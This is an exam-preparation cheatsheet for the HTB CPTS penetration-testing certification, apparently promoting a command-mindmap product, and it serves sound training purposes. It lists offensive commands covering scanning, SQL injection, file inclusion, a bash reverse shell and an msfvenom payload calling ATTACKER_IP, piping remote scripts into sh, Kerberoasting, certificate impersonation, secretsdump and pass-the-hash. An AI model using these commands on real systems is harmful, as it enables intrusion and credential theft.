# Information Gathering
The CPTS network is a realistic enterprise environment. Map the full external and internal surface before touching anything — thorough enumeration drives the whole attack chain.
Port & Service Scanning
nmap -p- --min-rate=1000 -T4 TARGET -oN ports.txt
nmap -p OPEN_PORTS -sC -sV -oA detailed TARGET
Subdomains & OSINT
subfinder -d TARGET -silent | httpx -silent -title -tech-detect
curl -s 'https://crt.sh/?q=%.TARGET&output=json' | jq -r '.[].name_value' | sort -u
Web Content Discovery
ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php,.aspx,.txt -mc all -fc 404
ffuf -u http://TARGET -H "Host: FUZZ.TARGET" -w subdomains.txt -fs 0
SMB & Domain Enumeration
netexec smb TARGET -u '' -p '' --shares
enum4linux-ng -A TARGET
# Vulnerability Assessment
CPTS expects a structured vulnerability assessment step: map each service to known weaknesses before you exploit, and record everything for the report.
nuclei -u https://TARGET -t cves/ -t misconfiguration/ -severity medium,high,critical
nikto -h http://TARGET -C all
searchsploit SERVICE VERSION
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-XXXX-XXXXX" | jq '.vulnerabilities[0].cve.metrics'
# Web Exploitation
Web applications are a frequent foothold on CPTS. Injection, file upload, SSTI and inclusion bugs open the door to the internal network.
SQL Injection
sqlmap -r request.txt --batch --level 5 --risk 3 --dbs
Template Injection (SSTI)
{{7*7}} ${7*7} #{7*7}
File Inclusion
curl "http://TARGET/?page=php://filter/convert.base64-encode/resource=config"
File Upload Bypass
cp shell.php shell.phar # try .phtml, .php5, double ext, magic bytes
# Shells & Payloads
Get a stable foothold, then upgrade to a fully interactive shell for the internal phase.
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o s.exe
# Active Directory
Active Directory is the heart of the CPTS exam. Map attack paths with BloodHound, harvest credentials, abuse AD CS, and pivot to Domain Admin.
bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt -dc-ip DC_IP
certipy find -u USER@domain.local -p PASS -dc-ip DC_IP -vulnerable -stdout
certipy req -u USER@domain.local -p PASS -ca CA-NAME -template VulnTemplate -upn administrator@domain.local
impacket-secretsdump domain.local/ADMIN:PASS@DC_IP
evil-winrm -i TARGET -u USER -H NTLM_HASH
# Pivoting & Tunneling
The CPTS network is segmented. You will compromise a host in one subnet and pivot deeper — ligolo-ng and chisel are the go-to tools.
Ligolo-ng (recommended)
./proxy -selfcert # on Kali, then: interface ip add 240.0.0.1/32 route
./agent -connect ATTACKER_IP:11601 -ignore-cert
Chisel & SSH
./chisel server -p 8080 --reverse # client: ./chisel client ATTACKER_IP:8080 R:socks
proxychains4 netexec smb 10.10.0.0/24
# Privilege Escalation
Local privesc on both Linux and Windows hosts feeds credentials back into the domain compromise.
Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
sudo -l ; find / -perm -4000 -type f 2>/dev/null
Windows
.\winPEASx64.exe ; whoami /priv
.\GodPotato.exe -cmd "cmd /c whoami"
# Reporting
The CPTS is graded on a commercial-grade report — this is where most of the marks are. Structure it professionally and make every finding reproducible.
# Executive Summary → Attack Chain → Findings (CVSS + steps) → Remediation Summary
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt # document cracked creds
# CPTS Exam Tips
Strategy for the 10-day exam plus the report. The report is where candidates most often lose marks.
❓ CPTS Frequently Asked Questions
The HTB CPTS exam is a 10-day fully hands-on assessment against a realistic corporate Active Directory network, followed by time to write a commercial-grade report. You must reach a required number of flags AND submit a professional report — the report is mandatory and heavily weighted.
They differ in focus. CPTS has a much larger, more realistic Active Directory and chaining component and strong emphasis on the professional report; OSCP includes standalone machines and a shorter 23h45 window. Many consider CPTS broader and more enterprise-oriented; OSCP remains the historical reference.
Yes. The CPTS is graded on a commercial-grade report, not just flags. It must include an executive summary, an attack chain narrative, and findings with severity, CVSS, affected hosts, steps to reproduce and remediation. HTB officially supports SysReptor, and Markdown-based tools import cleanly.
nmap, ffuf/feroxbuster, nuclei, BloodHound/SharpHound, impacket (GetUserSPNs, secretsdump, psexec), certipy (AD CS ESC1–ESC8), evil-winrm, NetExec/CrackMapExec, ligolo-ng or chisel for pivoting, and hashcat. Report with SysReptor or the Pentest Mindmap AI report.
The HTB Academy "Penetration Tester" job-role path is around 250+ hours and covers the full CPTS syllabus. Most candidates need 2–5 months depending on prior experience, with a strong focus on Active Directory, pivoting and reporting.
Yes — heavily. The CPTS exam network is a corporate AD environment. Master BloodHound path analysis, Kerberoasting, AS-REP roasting, AD CS abuse (certipy ESC1–ESC8), NTLM relay, DCSync and lateral movement to Domain Admin.
No. Unlike the classic OSCP, the CPTS does not focus on manual stack buffer overflow exploitation. It emphasizes realistic enterprise attack chains, web and Active Directory exploitation, pivoting, and professional reporting.
ESC1 is an Active Directory Certificate Services misconfiguration where a vulnerable template allows client authentication and lets the enrollee supply the subject. With certipy you can request a certificate as a Domain Admin and obtain a TGT — a fast path to domain compromise, common on modern AD networks tested in CPTS.
Executive summary (non-technical), assessment scope, a realistic attack chain narrative, detailed findings (description, impact, affected hosts, CVSS v3.1 vector, steps to reproduce, remediation, references) and a prioritized remediation summary. Keep it commercial-grade and reproducible.
Yes — as a preparation accelerator. The free mindmap organizes 12,020+ commands across CPTS domains, the Pentest Space provides a dedicated CPTS report template, and the AI Wizard generates a commercial-grade CPTS-style report. It speeds up learning the methodology — always follow your exam rules.
📚 Related Resources
- Active Directory Cheatsheet — BloodHound to Domain Admin — the core of the CPTS exam
- OSCP Cheatsheet — The OffSec counterpart — 150+ commands for the OSCP exam
- PNPT Cheatsheet — The TCM counterpart — OSINT, AD and the 15-minute live debrief
- Nmap Cheatsheet — Complete nmap reference for recon and port scanning
- Linux Privilege Escalation Cheatsheet — 80+ privesc techniques for the internal phase
- Pentest Report Guide — Structure, template and required sections for a commercial-grade report
- Full Pentesting Cheatsheet — 200+ commands for web, network, Active Directory and privesc
Turn your findings into a commercial-grade CPTS report. The AI Wizard has a dedicated CPTS format with attack chain and CVSS findings.
Prepare your CPTS with 12,020+ commands
This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories with instant search, a CPTS report template and an AI report generator.
Start free →